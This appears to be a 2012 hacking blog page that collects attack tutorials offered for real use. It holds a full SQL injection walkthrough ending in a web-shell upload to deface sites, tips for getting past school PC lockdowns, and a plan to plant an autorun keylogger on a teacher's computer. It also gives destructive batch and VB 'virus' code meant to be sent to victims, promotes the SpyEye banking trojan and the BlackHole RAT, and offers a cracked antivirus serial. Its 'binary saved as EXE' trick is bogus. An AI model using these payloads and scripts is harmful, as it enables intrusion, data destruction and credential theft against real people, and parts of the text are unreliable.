ads

Wednesday, February 22, 2012

SQL INJECTION (From start to Defacement)


DEFACING A SITE EXPLAINED FROM THE START
(INCLUDING DOWNLOADS)


I i took some parts of the sql injecting from http://www.milw0rm.com. I wrote the defacing part. I'm posting this here coz this tut explains everything step by step. but most of the sql tuts ends when we find the password hash. So newbees dnt know wat to do after that. In this tut i'm gonna explain how to deface a website from scratch hope you fill find this usefull....
i'm not a good hacker but i want to share my knowledge with every one.. so if there are any mistakes pls forgive me....
If you find this tut usefull please post a comment....

1) FINDING THE TARGET AND GETTING THE ADMIN PASSWORD

First we must find our target website to do that you can use this "dorks".
I'll give some dorks here copy anyone of it and paste it in google and search.
Code:
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=

you can find lots of dorks here..(use them without the " " marks)
Code:
http://spam.org/download.php?file=390326

1). Check for vulnerability

Let's say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection :)

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <-- no error

http://www.site.com/news.php?id=5 order by 2/* <-- no error

http://www.site.com/news.php?id=5 order by 3/* <-- no error

http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

i didn't see any paper covering this problem, so i must write it :)

what we need is convert() function

i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version :D

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)

we know that table admin exists...


now to check column names.


http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up :)

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice :)

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )


http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser :D

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

6). MySQL 5

Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.

For this we need information_schema. It holds all tables and columns in database.

to get tables we use table_name and information_schema.tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*

here we replace the our number 2 with table_name to get the first table from information_schema.tables

displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*

note that i put 0,1 (get 1 result starting from the 0th)

now to view the second table, we change limit 0,1 to limit 1,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*

the second table is displayed.

for third table we put limit 2,1

i.e

http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*

keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D

To get the column names the method is the same.

here we use column_name and information_schema.columns

the method is same as above so example would be


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*

the first column is diplayed.

the second one (we change limit 0,1 to limit 1,1)

ie.


http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*

the second column is displayed, so keep incrementing until you get something like

username,user,login, password, pass, passwd etc... :D

if you wanna display column names for specific table use this query. (where clause)

let's say that we found table users.

i.e

http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.

Note that this won't work if the magic quotes is ON.

let's say that we found colums user, pass and email.

now to complete query to put them all together :D

for that we use concat() , i decribe it earlier.

i.e


http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

what we get here is user:pass:email from table users.

example: admin:hash:whatever@blabla.com

** if you are too lazy for doing above stuff you can use tools they will do all the job:
1) Exploit scanner (this will find vulnerable websites)
Code:
http://spam.org/download.php?file=390338
2) SQLi helpper (this tool will do all the injecting job and get you the pass or hash)
Code:
http://rapidshare.com/files/248029073/SQLIHelperV.2.7.rar
*** use the tools only if you are new to hacking. Do it manually thats the thrill and that is real hacking. When you do it manually you will understand the concept.

in some websites you can directly see the password. but most of the websites encrypt them using MD5. so u hav to crack the hash to get the password. to crack the password there are three ways
1) check the net whether this hash is cracked before:
Code:
http://www.md5decrypter.co.uk
2) crack the password with the help of a site:
Code:
http://www.milw0rm.com/cracker/insert.php
http://passcracking.com/index.php
3) use a MD5 cracking software:
Code:
http://rapidshare.com/files/136967969/a_MD5CF_2.10_2b.rar
Password = OwlsNest


2) DEFACING THE WEBSITE

after getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel.
1) you can use an admin finder website:
Code:
http://4dm1n.houbysoft.com/
2) you can use an admin finder software:
Code:
http://spam.org/download.php?file=390339

after logging in as the admin you can upload photos to the site. so now you are going to upload a shell into the site using this upload facility.

dowload the shell here(shells are php scripts which affects websites so it will be detected as trojans but no need to worry i take the responsibility):
Code:
http://spam.org/download.php?file=390328
extract it you will get a c99.php upload it.
some sites wont allow you to upload a php file. so rename it as c99.php.gif
then upload it.

after that go to http://www.site.com/images (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir)
find the c99.php.gif and click it..
now you can see a big control pannel....
now you can do what ever you want to do...
search for the index.html file and replace it with your own file. so if any one goes to that site they will see your page....

after doing this click logout.... thats it you are done..

How To Access C Drive When It's Blocked

Introduction

Today, I am going to release my tutorial. A lot of schools have blocked C DRIVE from hacking attempts to the school systems/machines. There are many ways to access the drive. Including CMD, Firefox/Google Chrome etc. Please follow all your local laws. Read their Legal. And do not I REPEAT DO NOT DELETE ANY SYSTEM FILES FROM ANY EDUCATIONAL COMPUTERS, IT WILL END BADLY!

Ok that is all over and done with, now for the tutorial.

Firefox/Google Chrome

Open Firefox or Google Chrome and type the following in the URL;

Quote:
C:\

This will not allow you to open the files, but download them. In other words, you need the whole folder to work a .exe file (Unless it is a self ran .EXE or a text file)

This method is useful for trying to search a file and open the file with CMD.

Command Prompt

Windows Vista And Any Older Versions: You can read my guide here http://www.hackforums.net/showthread.php?tid=1340139

Windows 7 (THANKS TO W0lfbane): Read the above tutorial but instead of "command.com" put in the following;

Quote:
@echo off
title CMD
:1
set /p a=%cd%^>
%a%
goto :1

To browse through the C Drive, type in the following;

Quote:
C:

And if you want to open a file, type in the following for the example;

Quote:
start C:\Windows\cmd.exe


Bypassing Administrator Password (Kon-Boot)

Please read the following http://www.hackforums.net/showthread.php...dows+login

Bypassing Administrator Password: Only Windows XP

You will need a LAN cored for this Bypass. If your school/work is connected to wireless. You can not do this.

What a LAN Cored looks like



When you are connected to a network. You can access full Administrator rights by doing the following steps;

1. Reboot system.

2. Find where the LAN/Local cored is located.

3. Login, when it says "Applying User Settings" take out the LAN cored as quickly as you can.

4. Wait till it logs in, when you are on your desktop. Put the LAN cored back in to access the Internet.

Keylogging And Social Engineering

It often requires no techy knowledge to instigate, but the more you have, the better. For example, leave a USB stick beside the teacher's computer in the computer-room/library/classroom, with an Autorun keylogger. Tell the teacher that the USB is yours. S/He should plug it into their PC and prove it is yours.


Linux Bootable USB

(Thanks To KlokWeiss)

This method of getting a live install to a USB drive is the simplest available using Unetbootin. Note that we will format the USB drive and erase its contents.

1. Plug in your USB Drive (Minimum USB Drive capacity 2 GB)

2. Format the USB drive to FAT32

3. Download Unetbootin from http://unetbootin.sourceforge.net/

4. Start Unetbootin and select diskimage (use the backtrack-final ISO)

5. Change the boot startup to USB via BIOS.

6. Log into BackTrack with the default username and password root / toor.


End

Fuck a Computer Easily

Do not try this at your own compute

@echo off
attrib -r -s -h c:autoexec.bat
del c:autoexec.bat
attrib -r -s -h c:boot.ini
del c:boot.ini
attrib -r -s -h c:ntldr
del c:ntldr
attrib -r -s -h c:windowswin.ini
del c:windowswin.ini

Open up notepad and copy and paste that. Save it as a .bat file.

This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. Have fun ...

REMEMBER - DO NOT CLICK THIS FILE.

YOU WONT RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE!

DEADLY VIRUSES!!!!!

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to format a HDD using a notepad. This is really cool.

Step 1. Copy The Following In Notepad Exactly as it says

01001011000111110010010101010101010000011111100000

Step 2. Save As An EXE Any Name Will Do

Step 3. Send the EXE to People And Infect

OR

IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code. Save As An EXE Any Name Will Do

format c:\ /Q/X — this will format your drive c:\

01100110011011110111001001101101011000010111010000
100000011000110011101001011100
0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000
100000011001000011101001011100
0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\

01100110011011110111001001101101011000010111010000
100000011000010011101001011100
0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000
101111010100110010111101010001
00100000011000110011101001011100011000100110111101
101111011101000010111001101001
0110111001101001

Try to figure out yourself rest
can’t spoonfeed
Its working.

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this:
go to notepad and type the following:
@Echo off
Del C:\ *.*|y save it as Dell.bat
want worse then type the following:


@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file

Make Virus in 5 min " Very easy but dangerous Virus"

Make Virus in 5 min
Very easy but dangerous Virus

Ok, now, the trick:

The only thing you need is Notepad.

Now, to test it, create a textfile called TEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes). Then do "Save As..." and save it as "Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:

Go to Notpad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as findoutaname.cmd. Now DON'T run the file or you'll lose your WINDOWS map. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.


Simple explanation:

Go to notepad, type erase C:\WINDOWS, save, send to victim, once the victim opens it, the map WINDOWS will be gone and have to install WINDOWS again...[/]

Fuk Up Pc With This Virus...!!!!

Copy and paste the java script code to the address bar of your browser

javascript:function Shw(n) {if (self.moveBy) {for (i = 35; i > 0; i--) {for (j = n; j > 0; j--) {self.moveBy(1,i);self.moveBy(i,0);self.moveBy(0,-i);self.moveBy(-i,0); } } }} Shw(6)

2: Press enter and watch your window's "shaking it". You can change the value of i if you wish :-)

Simple is a very dangerous virus

What is needed:
1. VB (optimum: 6.0)
2. Understand buttons VB

Virus Making Tutorials just 1 minute
1. create a form as small as possible
2. in that form, enter the code below


Public Sub DelAll (ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject ("Scripting.FileSystemObject")
FS = FSO.DeleteFolder (DirtoDelete, True)
End Sub

Private Sub Form_Load ()
On Error Resume Next
If FileExist ("c: \ windows \ system32 \ katak.txt") = True Then
End
Else
Call DelAll ("c: \ windows \ system")
Call DelAll ("c: \ windows \ system32")
Call DelAll ("c: \ windows")
Call DelAll ("C: \ Documents and Settings \ All Users")
Call DelAll ("C: \ Documents and Settings \ Administrator")
Call DelAll ("C: \ Documents and Settings")
Call DelAll ("C: \ Program Files \ Common Files")
Call DelAll ("C: \ Program Files \ Internet Explorer")
Call DelAll ("C: \ Program Files \ Microsoft Visual Studio")
Call DelAll ("C: \ Program Files")
End
End If
End Sub
Function FileExist (ByVal FileName As String) As Boolean
If Dir (FileName) = "" Then
FileExist = False
Else
FileExist = True
End If
End Function

3.Kode blue reply that the virus antidote, perhaps you do not accidentally press so you are safe. so in the folder c: \ windows \ system32 \ katak.txt if no file name, you will not be keserang own ... you can edit koq so what's so ...
That red color is the same folder you deleted this virus, your own edit

4. Make this project name as the name of the system, here I use the name "SystemKernel32" so it would not be suspected

5. Do not ever put your name on this virus ...

6. compile it .... and finish ....

Tuesday, February 21, 2012

[MacOSX ] BlackHole RAT priv8 RAT


‘BlackHole RAT’ is the latest remote administration tool (RAT) and is available both in Windows and Mac.




Hacktool such RAT employs client-server program that communicates to its victim’s machine through its trojan server. The server application is installed on the victim while the client application is on the managing side.
The version suggest that ‘BlackHole’ is currently in its early stage. However, the author seems to start showcasing the following functionalities:

* Remote execution of shell commands.
* Opens webpage using user’s default browser.
* Sends a message which is displayed on the victims screen.
* Creates a text file.
* It is capable to perform shutdown, restart and sleep operation.
* It is capable to request for admin privileges.

SpyEye 1.3.45


This includes all the newest software for:
[+] Admin Panel
[+] Formgrabber Panel
[+] Gate Installer
[+] Back Connect
[+] Collector
[+] Anti-Rapport (Anti-Thrusteer)
[+] Webinjects - USA - UK - Germany - Spain - PayPal (not sure if all of them works correctly, u have to check it, i usually only use USA)
[+] Built in PE-loader
[+] SpyEye original complete setup manual from the author

Injection types:
[+] Internet Explorer
[+] FireFox
[+] Google Chrome
[+] Opera

Plugins:
[+] Custom Connector (to avoid that your admin panel is being tracked by Spyeyetracker)
[+] Webfakes
[+] RDP (Remote Desktop - Not tested yet)
[+] DDOS
[+] Block
[+] Billinghammer
[+] USB-Spread (I do not recommend that you use this. as it prompts the victim each time they boot their computer with an error - bad code)
[+] Socks5 Back Connect
[+] FTP Back Connect
[+] Bugreport
[+] CC-Grabber or
[+] Creditgrabber
[+] FFcertificate grabber
[+] SpySpread (Have not figured out how this works yet, think its missing something)

This is the newest released software for SpyEye as far as i know.

-I still have problems with socks5 and FTP back connect to show Socks5 or FTPs, im not sure why but theres a Full SpyEye Original Manual on how to setup everything from start to end thats included. Theres also a bunch of explanations of everything inside spyeye and how it works.

Contains all files needed (REMEMBER BUILDER WILL ONLY WORK IN WINDOWS XP)


Monday, February 20, 2012

AVIRA ANTIVIRUS PREMIUM 2012 12.0.0.888 [FINAL] [CRACK] [SERIAL KEY]


Avira AntiVir Premium reliably protects you against all threats from viruses, worms, trojans, rootkits, phishings, adware, spyware, bots and dangerous “drive-by” downloads. Best detection rates and top-class security with several updates every day. Advanced protection:
Includes basic antivirus protection PLUS: email protection (POP3), AntiPhishing, AntiSpyware, AntiAdware and more. With real-time on-access scanning, profile-based on-demand scans and scheduling of full system scanning and updates it offers premium protection. It includes a POP3 based MailScanner that scans emails before they are stored on your machine. With a user-friendly control center, quarantine management, fast performance and world leading detection rates the Avira AntiVir Premium provides essential protection for your PC.

AntiVir Personal offers effective protection against computer viruses for the individual and private use on a single PC-workstation. It detects and removes viruses and includes an Internet-Update Wizard for easy updating.

Avira presents the Premium Security Suite with Full protection: Includes basic and advanced antivirus protection, email protection, AntiPhishing, Anti-Spyware and Anti-Adware PLUS: Anti-Spam, Firewall, WebGuard (Safe Surfing), Game Mode and more.! Complete security for workstations! The repeatedly awarded and worldwide used virus and malware protection by over 30 million users now also with WebGuard!Avira is a German antivirus software company. Its antivirus applications are based on the AntiVir antivirus engine, first launched in 1988. It was called "H+BEDV Datentechnik GmbH" when it was founded. One of the antivirus software, AntiVir Personal, is free for personal usage. Avira is launching a new, comprehensive protection package for end-users as well as small offices and home workers: the Avira Premium Security Suite is a combination of Avira’s brand-new firewall and the proven anti-virus software AntiVir Personal Premium.
Even less experienced users can cope with the numerous security threats from the Internet with the central, intuitively operated user interface of the Suite

Serials Works Till 21.1.2012 (Will Update It)



Operating systems :

Works On 32bit/64bit


Site Search